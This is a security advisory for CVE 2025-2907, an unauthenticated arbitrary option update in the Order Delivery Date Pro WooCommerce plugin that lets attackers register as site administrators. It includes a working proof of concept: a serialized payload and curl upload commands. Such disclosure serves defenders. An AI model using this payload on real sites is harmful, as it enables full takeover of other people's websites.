Order Delivery Date Pro for WooCommerce < 12.3.1 – Unauthenticated Arbitrary Option Update | CVE 2025-2907

Description

The plugin does not have authorization and CSRF checks when importing settings. Furthermore it also lacks proper checks to only update options relevant to the plugin. This leads to attackers being able to modify the default_user_role to administrator and users_can_register, allowing them to register as an administrator of the site for complete site takeover.

Note: The issue is being actively exploited and only affects the Pro version (https://woocommerce.com/products/order-delivery-date/)

Proof of Concept

Save the below in a JSOn file:
a:2:{s:18:"users_can_register";b:1;s:12:"default_role";s:13:"administrator";}

Then run one of the following cURL commands:

curl --location 'http://example.com/wp-admin/admin-ajax.php' \
--header 'Content-Type: multipart/form-data' \
--form 'action="orddd_import"' \
--form 'is_drag_drop_request_ajax="yes"' \
--form 'orddd-import-file=@"path-to-saved-file.json"'

curl --location 'https://example.com/wp-admin/admin-post.php' \
--header 'Content-Type: multipart/form-data' \
--form 'orddd-import-file=@"path-to-saved-file.json"'